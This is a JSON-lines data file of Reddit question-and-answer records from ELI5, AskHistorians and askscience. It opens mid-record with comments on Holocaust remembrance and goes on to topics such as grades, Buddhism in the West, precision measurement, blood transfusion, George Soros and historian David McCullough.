\u05d9\u05d2\u05de\u05e8 \u05dc\u05e2\u05d5\u05dc\u05dd \n\n\u05d4\u05d7\u05d5\u05dc \u05d5\u05d4\u05d9\u05dd \n\n\u05e8\u05d9\u05e9\u05e8\u05d5\u05e9 \u05e9\u05dc \u05d4\u05de\u05d9\u05dd \n\n\u05d1\u05e8\u05e7 \u05d4\u05e9\u05de\u05d9\u05dd \n\n\u05ea\u05e4\u05d9\u05dc\u05ea \u05d4\u05d0\u05d3\u05dd \n\n\u05d4\u05d7\u05d5\u05dc \u05d5\u05d4\u05d9\u05dd \n\n\u05e8\u05d9\u05e9\u05e8\u05d5\u05e9 \u05e9\u05dc \u05d4\u05de\u05d9\u05dd \n\n\u05d1\u05e8\u05e7 \u05d4\u05e9\u05de\u05d9\u05dd \n\n\u05ea\u05e4\u05d9\u05dc\u05ea \u05d4\u05d0\u05d3\u05dd \n\n\nEnglish Transliteration: \n\nEli, Eli, Shelo YiGamer L'Olam: \n\nHaChol V\u2019haYam \n\nRishrush Shel HaMayim \n\nBerak HaShamayim \n\nTefilat HaAdam. \n\nHaChol V\u2019haYam \n\nRishrush Shel HaMayim \n\nBerak HaShamayim \n\nTefilat HaAdam. \n\n\nEnglish translation: \n\nOh Lord, My God, I pray that these things never end: \n\nThe sand and the sea, \n\nThe rush of the water, \n\nThe crash of the heavens, \n\nThe prayer of mankind.\n\nThe sand and the sea, \n\nThe rush of the water, \n\nThe crash of the heavens, \n\nThe prayer of mankind.", "Thank you. This genuinely moved me to tears to read.", "Thank you u/commiespaceinvader", "Am Yisrael Chai", "Thank you for writing this.\n\nI hope we all, Jewish or not, can honor the memory of those who died, and whose names and faces are lost to time. And I hope never to see something like this happen to my people again, or any other. But what resonates with me perhaps the most is what Fanja said, facing death: \u201cI am proud to be Jewish\u201d. I hope, as a Jew myself, to embody that pride and grace (in far less trying circumstances) to even a tenth of the extent she did. I too am proud to be Jewish everyday, but especially today.\n\nI had the honor of reading out the names of the perished a few years back. The reading went on for days with people switching in for hours-long shifts, meaning full 24/7 coverage. I remember it was 4:30AM during one of my shifts, and a man came in. He was fairly old, couldn\u2019t really walk well, and we had me reading and another person on backup (to switch off for water and the like). I remember him saying he was there to read a few names if he could. His family had lost many members, like many Jewish families, in the Holocaust, and he wanted to honor them however he could. I had to switch out because it broke me down. I felt so fortunate to be there with him in that space, because it connected us all in that moment.\n\nRemembering those named and those not, remembering who they left behind, and remembering the everpresent evil that enabled their slaughter and gave some, but not all, a chance for heroism, and others a chance for grace, and still others no opportunities at all to devastating effect \u2014 that\u2019s what today means for me.\n\nI\u2019m proud to be Jewish too.", "Thank you.  \nMost of the Jewish side of my family was exterminated  during the Holocaust or lost their lives / went missing fighting in the Red Army. My grandfather still remembers the artillery bombardment of Kiev as his refugee train was leaving the doomed city.\n\nOne notable story that my mom told me was about my grand-grand-grandfather:\n\nHe fought in the 1st World War among the ranks of the Imperial Russian army. When WW2 broke out, he went to the streets to talk to the German soldiers - he simply didn't believe the rumors about the atrocities they were committing. One of the last things he said was: \"They are German, I know them, I fought against them, they are not bad people\". He was shot on the spot.  \nHis body was prohibited from removal from the street by his family for a week.\n\nDon't forget the things that happened and the things history teaches you, for it will forever repeat itself.", "Many years ago (1989) I was able visit the camp at Dachau. It is every bit as gut wrenching as anyone could expect (if you were able to predict any emotional response to such a place and such a plot).\n\nBut I also saw something else. The Germans had forced the prisoners to plant trees. I don't remember why but I do remember this. The buildings that the Germans built were mostly gone. A few had been preserved to prevent forgetting about what evil had been enacted in that place but most had decayed.\n\nBut the trees remained. The life they represent has surpassed the evil that forced their existence. I can never forget that. Evil is, eventually, overcome.\n\nNever let anyone tell you that such evil didn't happen. Don't forget the past.", "My mother used to work in the Canada Pension system and would occasionally interview Holocaust survivors.  She remarked they were so overly polite, so nervous about making any kind of mistake in dealing with a government official.  She would do everything she could to ensure they received any benefits they were entitled to under the law.  And she made sure to tell me about these folks so I wouldn't forget them either.", "Thank you so much for this. I've been inspired by this Day of Remembrance to teach my two children (tween, and teen) about the Holocaust, using some newspaper articles from yesterday's anniversary. We will end with a visit to the Museum of Tolerance. I will include your post in what we read. I hope many teachers will read your post and incorporate it into their studies of history and/or culture, politics, justice, so that more young people can learn the truth, can fully understand history, and so that it will never happen again.\n\nYou writing was very moving. I appreciate all of the truths you have recorded here. You did an honor to those lives lost. I am so, so very very sorry for all of the pain and trauma and extreme loss and extreme suffering of the victims, of the survivors, of their families, and of the Jewish community.  Blessings to you for writing this."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/564gvm/eli5_when_people_discuss_the_holocaust_why_do/d8g92dz/", "https://www.reddit.com/r/AskHistorians/comments/76avmk/how_do_we_estimate_the_number_of_jewish_deaths_in/"], "answers_urls": [[], [], [], [], ["http://holocaustcontroversies.blogspot.com/2006/04/what-soviets-knew-about-au\\_114495918775367271.html", "http://holocaustcontroversies.blogspot.com/2006/04/what-soviets-knew-about-au_114495918775367271.html"], [], ["https://www.youtube.com/watch?v=MTELKo26rqw"], ["https://imgur.com/a/pJ7SHBX"], [], ["https://www.wnycstudios.org/podcasts/snapjudgment/episodes/snap-classic-orange"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=VP9BLKZENbc"], [], [], [], [], ["https://youtu.be/bVxiBOlfrso"], [], [], [], [], [], [], [], []]}
{"q_id": "8pob38", "title": "why does a bad score on a final drag your grade down more than a good score raises it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8pob38/eli5_why_does_a_bad_score_on_a_final_drag_your/", "answers": {"a_id": ["e0crvlx", "e0cup2s"], "score": [23, 3], "text": ["It's all about a number's distance from the mean \\- the farther away from the average a number is, the greater its impact.\n\nLet's say that you're sitting right on A\\- territory for a class, 90 & #37;.  We've all been there, right?  Well a good grade on the final would probably be in the 90\\-95 & #37; range, or even up to 100 & #37; if you really nail it.  At the end of the day, that's not too far from your average of 90 & #37;, so it can't have too big an impact \\- you might go up a few  & #37;, depending on how much of your grade the final is worth.\n\nBut now let's assume you get a bad score on the final \\- maybe something in the 60's.  Now you're 20\\-30 points below your average, and it's going to drop your score significantly more.  But if you got a score that was only a few points below your average \\- say an 85 & #37;, it would drop you the same amount as a score of 95 & #37; would raise you.\n\nBasically, we tend to be closer to the higher points on the spectrum, so the lower grades tend to be farther from our average, meaning they affect the averages more.  If you were averaging a C\\- at 70 & #37;, then a bad grade of 60 & #37; or so would actually drag your grade down *less* than a good grade of 90 & #37; would raise it.", "It's because your grade is closer to the \"good score\". \n\nIf you had a D in the class and you got an A on the final, it would raise your grade by a lot.  If you had a D in the class and you got an F on the final it wouldn't decrease it that much. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "56qva3", "title": "what is asset finance?", "selftext": "Can someone explain to me what asset finance is, how it works and where do law firms come in to play their role?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56qva3/eli5what_is_asset_finance/", "answers": {"a_id": ["d8ln46o"], "score": [2], "text": ["To quickly get a loan, some companies (especially new ones who lack a good credit rating) may offer some of their company assets (stocks, equipment, etc.) to qualify for a loan.\n\nInstead of evaluating the credit rating, the bank will evaluate the value of the asset to determine whether they give out a loan and which amount.\n\nLaw firms come into play at two points:\n\na) as usual both sides may involve lawyers to evaluate and draft the loan contract\n\nb) specific to asset financing, law firms may evaluate the value of the asset (from a neutral standpoint) and in some specific cases may act as an escrow that safe-keeps the collateral."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1bdqeb", "title": "computer forensics?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bdqeb/eli5_computer_forensics/", "answers": {"a_id": ["c95xriq"], "score": [2], "text": ["Everything you do on a computer leaves information on the hard disk.  Write an e-mail, download a song, look at pornography--everything you do leaves one or more files behind.  Delete the e-mail, song, whatever, you're only telling the computer to forget where the information was.  And there are programs available to the police to find the files you thought were gone forever.  Even if you delete a file and then tell the computer to overwrite (write new possibly random information, actually re-recording over the original information) all the free space on a hard disk, there could still be traces.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "flusyq", "title": "stress-strain curve", "selftext": "Why does the stress keep decreasing and why does Young Modulus become negative after reaching the breaking stress or Ultimate Tensile Strength of any non-brittle material?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/flusyq/eli5_stressstrain_curve/", "answers": {"a_id": ["fl1dd15"], "score": [2], "text": ["Basically you are looking at engineering stress strain curve, which assumes the cross sectional area remains constant.\n\nIt doesn't. When the part is close to breaking, necking will happen, which is a dramatic decrease in cross sectional area at the fracture point. This lowers the force transmitted by the part, and thus in the engineering stress strain curve, results in a negative Young's Modulus on the graph.\n\nIn a true stress strain curve, which accounts for changes in cross sectional area, the Young's Modulus is always positive, as expected."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f7d3c6", "title": "How did Buddhists in traditionally Buddhist areas react to it becoming somewhat popular/trendy in the West, especially in the 1960s? How did traditionally Buddhist immigrant groups in Western countries react", "selftext": "I'd imagine that the rising popularity of Buddhism would have brought a bunch of people into temples, both in the West and as tourists to Asia. Was there a clash between recent converts, who might have a very different view of Buddhism, and those who grew up in the faith? Buddhism in the West is often presented as a sort of \"alternative religion,\" focused around meditation and esotericism. Would the counter-cultural trappings of a lot of popular Western Buddhism have alienated more traditional Buddhists?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f7d3c6/how_did_buddhists_in_traditionally_buddhist_areas/", "answers": {"a_id": ["ficgyq7"], "score": [82], "text": ["Here in the west, when we think of \"Buddhism\" we probably imagine a solemn and dark temple with rows of shaven head monks sitting earnestly in deep meditation while striving with all their might towards enlightenment.  In other words our perception of Buddhism is centered on the deeper philosophical and mystical elements of the religion. \n\nWhile this type of Buddhist practice certainly existed, it was not and is not the normative experience of people who are actually engaged with the religion in its Asian homeland.  Depending on the particular country, the average Buddhist center will likely be a priest's family's home, a temple that largely functions as a community center, a place of devotional worship or even a museum-like tourist attraction.  What you don't see hardly any of is people meditating. \n\nBecause of this dichotomy between what people in the west were interested in and what was happening at 99.9999% of Buddhist centers, you did not and don't see alot of crossover.   If someone is going to travel Asia to practice enlightenment-in-this-lifetime Buddhism, they are not going to hang around the local community center with a bunch of grandmas or follow a priest around as he visit's people in the community to chant at memorial services at their homes.  Instead they are going to visit centers that specialize in meditation and the general public are generally not involved at those centers.\n\nWhen people did travel to Asian to practice meditation-based Buddhism it was typically places that explicitly welcomed westerners and these centers were usually happy to have them.  If you were (or are) a Buddhist teacher that had deep spiritual aspiration, there is a good chance you would be disappointed in lack of aspiration in many of the locals who were practicing with you.  If you look at Japanese Zen for example, there are very few \"training monasteries\" were meditation is actually practiced.  The vast majority of the young men who are enrolled and living at these monasteries are not there for reasons of religious or spiritual aspiration. They are there because they are the first sons of a temple family and they are expected to take over and run the rural temple they grew up at when their father retires.  In order to get their priest certificate one of the steps is that they needed to spend one to three years at one of these monasteries.  Its more a rite of passage and a feat of endurance than anything else.  So when westerners with a burning spiritual aspiration started turning up, some Zen teachers were ecstatic and welcomed them enthusiasm.  Generally word would get around to which teachers were enthusiastic about teaching westerners and in many cases those monasteries would end up being primarily populated by westerners.\n\nOf course there would be inevitable cultural clashes and misunderstandings, but generally people were traveling to practice centers that were set up to welcome them and work with them.\n\nOne place were there was the type of clash you are asking about was in Zen temples in the United States.  Cities with many Japanese immigrants would typically have a Soto Zen Buddhist temple in the area to provide the traditional cultural services they were used to at home.  These were primarily culture centers as mentioned above and none of the Japanese congregants had any interest in meditation.\n\nBut what started happening in the 1960s as the beat generation and then the Hippies started developing an interest in Zen is that many of these young people would show up at these community center-like temples looking for a Zen Master.  In two cases (in San Francisco and Los Angeles) the resident temple priests were interested in working with these young seekers and a meditation practice started developing at these temples.  The Japanese congregants would come around for traditional cultural services and the young westerners would come around  for meditation.  Inevitably this would cause irritation with the Japanese that their cultural centers were being invaded and jealousy that the priests they imported (and whose salary they paid for) were giving so much attention to the westerners .  In both the Los Angeles and San Francisco, the priests ended up leaving the Japanese temples and starting Zen Centers populated almost entirely with westerners."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6hzd1r", "title": "Are there any robust ways to measure large distances (100 meters) between objects to a subatomic level of accuracy?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6hzd1r/are_there_any_robust_ways_to_measure_large/", "answers": {"a_id": ["dj2dmzm", "dj2h8xk", "dj32b11", "dj34uob"], "score": [27, 11, 4, 4], "text": ["I'm not sure what you mean by robust, but LIGO's measurements detected a change smaller than the radius of a proton in a several kilometer distance using laser interferometry.", "I don't think so. What *can* be easily measured is a *change* in separation, which is what LIGO did. A change is the only thing it needed to measure. Also note that the change was an incredibly small one. Measuring a change that is both several atomic diameters *and* several laser wavelengths might be very difficult, unless the change occurred slowly enough to detail its progress via multiple measurements.\n\nTo measure that large a distance that accurately would probably require the designing and building of new technology, simply because AFAIK, no one has thus far *needed* to measure such a large distance to such high accuracy, so no one has worked on the problem yet.", "The easiest way to measure large distances precisely is to measure the time of flight of light, but there are limitations to its precision. It takes light ~10^-19 seconds to travel 0.1 nm, which is about the size of an atom. We're able to produce laser pulses with durations of about 10^-17 seconds, and that more or less represents the smallest time scales we're able to control or measure right now.\n\nThis means that, via light-based measurements, we're only capable of measuring large distances to a precision of about the length of 100 atoms, which is pretty amazing but not quite \"subatomic level of accuracy.\"\n\nI'm not aware of any better ways to measure large distances, so I think the answer is no - for now. We're getting better at this stuff all the time, and there are research (and possibly industrial) applications improved timing measurements, so the answer could very well change in the not-too-distant future!", "If you are willing to spend a lot of money...\n\nMake an optical table 100 meters long, put it in a good vacuum. Build an interferometer with one movable mirror. Use a laser stabilized by a frequency comb (the same approach optical atomic clocks use). Move the mirror slowly and watch the interference pattern oscillate once per wavelength. That way you measure your length in multiples of the wavelength.\n\n* If your optical table is good and the motion is smooth, your count should be exact.\n* To get the fractional part, move the second mirror with a linear motor until you hit exactly zero intensity at your detector. You have to move them at most by a few hundred nm and the motors can reach  < 50 pm resolution ([example](_URL_0_)). The estimate of the zero crossing could be even better than that.\n* The frequency of the laser has to be known to 1 part in 2*10^12 to have an uncertainty smaller than 50 pm and the coherence length has to be more than 100 m. Should be fine. Thanks to the defined speed of light, the length uncertainty is directly proportional to the frequency uncertainty.\n\nIt takes an awful amount of time, but that way you should get a subatomic precision.\n\nSomething that could work without the mirror movement: Build an interferometer for multiple wavelengths which do not have a small common multiple. Measure the approximate distance with whatever. Measure the fractional part only with the interferometers. If there is only one solution within the rough estimate, you found your distance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://dovermotion.com/wp-content/uploads/2015/12/Constant-Velocity-Scanning.pdf"]]}
{"q_id": "uglb8", "title": "Can lamps be used at home to compensate for not enough sun reaching a sun loving plant?", "selftext": "I know that the very simple answer to my question is yes, but bear with me as I try to be more specific\n\nAs you can see from [my post here](_URL_0_) that my Bougainvillea mini tree isn't doing so well and it is probably because it is not getting enough sun-light in my kinda-dim balcony\n\nSo, my question is this, can I help the plant flourish using some spot-lights (or another type of light) aimed at it?\n\nI guess also that my question is a multi-part question\n\n1. If it is indeed possible, what is the best typeand/or colour of lamp to shine at it\n2. What would be the best time of day to switch them on\n3. Theoretically, how would one know how much lamps the plant would need? Or does one simply keep adding lamps till the plant looks well again?\n\nThank you very much for helping in this. I would love to save this plant. My only other option would be to remove it from my balcony and move it to the roof of the building :/", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uglb8/can_lamps_be_used_at_home_to_compensate_for_not/", "answers": {"a_id": ["c4v775y", "c4vaajv"], "score": [2, 2], "text": ["You have already answered your science question.\n\nFor the practical advice you seek try /r/gardening .", "There are full-spectrum bulbs available that mimic sunlight.  They're not that expensive.  \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/gardening/comments/tut9l/help_me_save_my_bougainvillea/"], "answers_urls": [[], ["http://www.amazon.com/b?ie=UTF8&amp;node=328870011"]]}
{"q_id": "4atw92", "title": "due to the extra chromosome, do people with down syndrome only accept blood from other people with down syndrome?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4atw92/eli5_due_to_the_extra_chromosome_do_people_with/", "answers": {"a_id": ["d13f7bu", "d13fhqz", "d13fpe4", "d13fu3f"], "score": [11, 2, 70, 6], "text": ["No, blood can be used from anyone as long as it's the same type. The extra chromosome has no affect on that :)", "It's the proteins on the outside of the blood cells that matter and, as far as I'm aware, there are no differences between the proteins of someone with Downs Syndrome and someone without. Same goes for most every other condition.", "No. Red blood cells don't have chromosomes anyway.\n\nThe real problems with blood transfusion has nothing to do with DNA, but usually involves blood types. To give an ELI5 view, blood types refer to ways of classifying blood characteristics. For example, the one most people focus on is the ABO system, which refers to antibodies in the plasma and antigens on the blood cells. If you mix give somebody the wrong blood type, it can be a problem. For example, a person with Blood Type A typically has antibodies specifically against the antigens Blood Type B, so person with Blood Type A identifies these new blood cells as foreign and starts attacking it. Something similar can happen with other blood typing groups, but this (and the Rhesus factor--another antigen that might be on a person's blood cell) is the big one.\n\nTherer are other risks as well, usually when there's something else mixed in the blood. Cytokines are common, which can cause a fever and inflammation, but it's usually pretty mild. There's also occasionally infections or contaminants that can make somebody sick.\n\nBut Down Syndome itself doesn't affect blood, donated or received.", "In addition to what other people in the thread have posted, it's also worth noting that red blood cells don't have a nucleus and therefore don't have any DNA. There's nowhere for that extra chromosome to hang out. The only thing that matters are the special proteins on the cells' surface that determine the blood type. And as it turns out, the extra chromosome doesn't change how the bone marrow builds the blood cells.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "epnixu", "title": "why are today\u2019s snails so much smaller in comparison to the giant prehistoric ones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/epnixu/eli5_why_are_todays_snails_so_much_smaller_in/", "answers": {"a_id": ["fekmm4m"], "score": [2], "text": ["Selection bias. The largest known snail ever was 91cm (*Campanile giganteum*). The largest snail recorded in history was... 91cm (*Syrinx aruanus*).\n\n_URL_0_\n\n_URL_1_\n\nI only skimmed it, but [this](_URL_2_) seems to be saying that the average size of crustaceans has increased."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Largest_prehistoric_animals#Snails_and_slugs_(Gastropoda)", "https://en.wikipedia.org/wiki/Syrinx_aruanus", "https://royalsocietypublishing.org/doi/full/10.1098/rspb.2015.0440"]]}
{"q_id": "77gyzl", "title": "Why did so many Polish immigrants go to Chicago rather than anywhere else?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/77gyzl/why_did_so_many_polish_immigrants_go_to_chicago/", "answers": {"a_id": ["dom3gqi"], "score": [2], "text": ["Try /r/askanthropology as this is a more general situation than just that group in that city. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6z8j3y", "title": "why is george soros considered controversial?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6z8j3y/eli5_why_is_george_soros_considered_controversial/", "answers": {"a_id": ["dmtaaxb", "dmtaopi", "dmtaxmw", "dmtb52n", "dmtgdhj", "dmthlne", "dmticvq", "dmtiu21", "dmtn5il"], "score": [43, 3, 2, 6, 4, 6, 19, 2, 3], "text": ["I'm just going to point out that accusing wealthy Jews of pulling the strings of power behind the scenes for nefarious purposes is, well, not exactly a new thing.", "Because a certain segment of the American body politic has to have both sides be equally bad.\n\nSo if that segment gets all it's news from a media empire run by one guy there has to be one guy on the other side who's exactly the same.", "He extensively lobbies and has influenced government policy in the past (though mostly in central Europe). That being said, the main reason you hear his name repeated over and over is by right-wing ideologues who like to pretend the left is as corrupt as they are, and Soros is a convenient name to parade around to achieve that narrative.\n\nEdit: If you ever hear somebody complain about Soros in person, try to find out if they also have interesting/conspiracy views about the Rothschilds. Blaming wealthy Jews for society's ills is a pretty common theme among the under-educated.", "He is a liberal version of the Koch Brothers. He uses his wealth to influence political outcomes. Obviously though he doesn't have special abilities to do so and isn't particularly motivated or present in politics.", "It has nothing to do with is ethnicity and everything to do with the causes he funds.   He finances radical progressive movements, some of which use unsavory tactics to gain influence.  \n\nAlso, see black Wednesday regarding the British pound and him breaking the Bank of England.  ", "George Soros is essentially the Koch Brothers of the left.  He's a wealthy man who has spent considerable resources to promote his viewpoints and support his causes, often from behind the scenes rather than as the face of the cause.", "I second the guy who called him the liberal version of the Koch brothers. He uses his vast sums of money to lobby for left-wing causes and enriches himself in the process.\n\nAs an example of real unsavory-but-legal practices he lobbied the Obama administration for tougher environmental rules on coal while shorting the entire coal industry. He got his rules and made billions.\n\nAside from the crazies, and there are plenty of crazies saying crazy things about everyone, he's disliked because he can and does things that 'little people' can't and enriches himself in the process. Basically he's both a politically active elite and plays into the view the view of legalized government corruption. So right-wingers hate him because he's a rich liberal and left wingers hate him because he's corrupt and ruthless and rich.", "Mostly overblown.\n\nHe is extremely wealthy, and pretty heavily involved in politics. But most of the claims tend to go overboard, because it's hard to know where money actually goes.\n\nHow he made his money (shorting the pound), and his ethnicity don't help, although they're not the main reasons. On top of that, he's a bit rarer, since wealthy businessmen tend to go right for the whole tax cut/regulation thing. So he's somewhat unique.\n\nFWIW, it's a fairly common reaction for people to be uncomfortable with a rich person involved in politics in ways that involve money and are hard to track due to lack of transparency. People's imaginations tend to fill in the blanks", "He is to the Conservatives what the Koch brothers are to the Liberals. Just a man who uses his enormous amount of wealth to influence politics, like the Koch's do too. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "kp5n0", "title": "\"end of xx speed limit\" signs. why? why not just \"speed limit xx\" signs?", "selftext": "I've never gotten this.\n\n[Signs like this, where it just says the speed limit that we've just been going at is ended...](_URL_0_)\n\nWhy do we use them instead of just using a sign for the new speed limit? Every time I see one of these I think \"Ok... So what speed do I go now?\"\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kp5n0/end_of_xx_speed_limit_signs_why_why_not_just/", "answers": {"a_id": ["c2m1g54", "c2m1j6s", "c2m1wc6", "c2m1g54", "c2m1j6s", "c2m1wc6"], "score": [8, 16, 2, 8, 16, 2], "text": ["I've never seen this (in California). Ours are set up like you'd expect - when the speed limit changes, you know when you see the sign.\n\nI have seen \"End XX Street\" signs, but they tend to just be used in cities where streets change names often.\n\nWhere are these signs common?", "I know that in New York the state speed limit is 55, and if there isn't a speed limit sign for a certain distance, the state speed limit is assumed. You can imagine town speed limits as posted exceptions to the norm.", "Yes! I would really like to know the answer to this question.\n\nWe have one of these signs that makes me crazy every time I see it. I really can't come up with a good reason for it. It's set up like this, as you're driving down the road:\n\nA sign says, \"SPEED LIMIT 35 MPH\"\n\nA bit later, another sign says, \"SPEED LIMIT 45 MPH\" (yay! go faster!)\n\nA bit later, the road merges with another, more major road (not sure if that's relevant) and just after that, a sign says, \"END 45 MPH LIMIT\"\n\nThen, finally, a bit later \"SPEED LIMIT 55 MPH\"\n\nWTF!?!?!?\n\nIf I were to approach driving this stretch logically, I would go 35 then 45 then 35 again (ending 45, going back to 35), then finally 55. But *I know* that's not right. There's no way you're meant to go 35 when it says \"END 45 MPH LIMIT\". I'm pretty sure it's 55 at that point - it makes sense, given that the road is \"more major\" and that the limit is 55 in the opposite direction - but why wouldn't they just say \"SPEED LIMIT 55 MPH\"?", "I've never seen this (in California). Ours are set up like you'd expect - when the speed limit changes, you know when you see the sign.\n\nI have seen \"End XX Street\" signs, but they tend to just be used in cities where streets change names often.\n\nWhere are these signs common?", "I know that in New York the state speed limit is 55, and if there isn't a speed limit sign for a certain distance, the state speed limit is assumed. You can imagine town speed limits as posted exceptions to the norm.", "Yes! I would really like to know the answer to this question.\n\nWe have one of these signs that makes me crazy every time I see it. I really can't come up with a good reason for it. It's set up like this, as you're driving down the road:\n\nA sign says, \"SPEED LIMIT 35 MPH\"\n\nA bit later, another sign says, \"SPEED LIMIT 45 MPH\" (yay! go faster!)\n\nA bit later, the road merges with another, more major road (not sure if that's relevant) and just after that, a sign says, \"END 45 MPH LIMIT\"\n\nThen, finally, a bit later \"SPEED LIMIT 55 MPH\"\n\nWTF!?!?!?\n\nIf I were to approach driving this stretch logically, I would go 35 then 45 then 35 again (ending 45, going back to 35), then finally 55. But *I know* that's not right. There's no way you're meant to go 35 when it says \"END 45 MPH LIMIT\". I'm pretty sure it's 55 at that point - it makes sense, given that the road is \"more major\" and that the limit is 55 in the opposite direction - but why wouldn't they just say \"SPEED LIMIT 55 MPH\"?"]}, "title_urls": [], "selftext_urls": ["http://expressway.paulrands.com/oldsite/photogallery/signs/rare/speedlimit/images/end35speed.jpg"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "df3jbg", "title": "can someone please explain what has happened to blizzard recently? why was the team was banned from the tournament?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/df3jbg/eli5_can_someone_please_explain_what_has_happened/", "answers": {"a_id": ["f30lv4i", "f30m42m"], "score": [2, 2], "text": ["They banned one guy for saying something supportive of the Hong Kong protests during a livestream. They argued that it violated their terms of service by making Blizzard look bad. Arguably, it did. Blizzard has a large audience in China and something as small as this could have China ban Blizzard games.", "ELI5 does not allow current events (Rule 2 in the sidebar). As such, this is better in r/outoftheloop."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "68tmf6", "title": "is there actually something behind, \"picture the audience with their clothes off\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68tmf6/eli5_is_there_actually_something_behind_picture/", "answers": {"a_id": ["dh16rt2"], "score": [3], "text": ["It's a mechanism used to make you feel more comfortable. The idea is that if you think everyone is in an uncomfortable space it levels out with how uncomfortable you are and you aren't feeling as \"judged\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3dcvv9", "title": "David McCullough's works", "selftext": "I recently heard about the works of David McCullough and was thinking about reading his books (especially the one about the Wright Brothers). My question is how good are his books (in terms of historical accuracy)? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dcvv9/david_mcculloughs_works/", "answers": {"a_id": ["ct4ehjr"], "score": [9], "text": ["David McCullough is a fine writer of popular narrative history; meaning that he writes beautifully in an easy to digest prose.  Therein lies part of the problem with McCullough, at least as far as professional historians are concerned. His books are roughly historically accurate, he is not writing a novel, but they do not really contribute anything new to historical debate. Popular history books as exemplified by McCullough's seldom engage in a serious arguments about historical figures and events. Diverting the narrative into intellectual jousts with other scholars or a lengthy discussion about methodology frequently alienates a mass audience and disrupts the narrative. The result is that popular history seldom approaches historical topics from a novel angle or uncovers new primary sources. instead, popular historians frequently rehash older narratives and ideas. While this might be acceptable for laymen, professional historians tend to find this uncritical regurgitation rather galling. For instance, McCullough pushes a very unsubtle and positive narrative of American exceptionalism, a contention that would necessitate a significant qualification for an academic historian's peer-reviewed work. David Greenberg neatly summed up this methodological problem thus in a [History News Network/Slate piece](_URL_0_):\n\n > The major failing of much popular history is that it betrays no interest in making intellectual contributions to our understanding of an issue. The Barnes  &  Noble historian seems to treat history as a pageant of larger-than-life events and people to be marveled at, rather than a set of social, political, and cultural problems to engage. Unless you wrestle with the ways in which the problems of the past have been defined, interpreted, ignored, or mischaracterized by other historians\u2014the historiography\u2014your writing will seem unsophisticated. You won't know which of your ideas are novel or trite, simple or complex, suspiciously trendy or embarrassingly out of date, or what avenues of research have already been pursued. Historians have to try to build upon what's been written, while keeping in mind that the goal is broader than just revising or applying other scholars' findings.\n\nIn the case of David McCullough, he frequently relies upon a narrow base of primary sources and a selective use of secondary sources to buttress the veracity of his narrative. This has led to some mistakes on McCullough's part. For example, *John Adams* misquoted Jefferson, claiming Jefferson called Adams \"the colossus of independence.\u201d The problem was Jefferson did utter this and  McCullough pulled the quote from a book on Daniel Webster. While a misquote like this might seem like a tempest in a teapot -and to a degree, it is - it reflects how McCullough's biases can promote a casual disregard for historical methodology. McCullough, both in his books and his statements as a public intellectual, tows to a very triumphalist line that stresses American exceptionalism. This teleology seeps into his narratives and has the potential to seriously distort his interpretation of events because he twists them around this triumphalism.  \n\nThat said, David McCullough is still an enjoyable author to read and there are far worse popular historians out there. He is a good introduction to people and events for historical novices, but he is never to be the final word on the subject.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://historynewsnetwork.org/article/12073"]]}
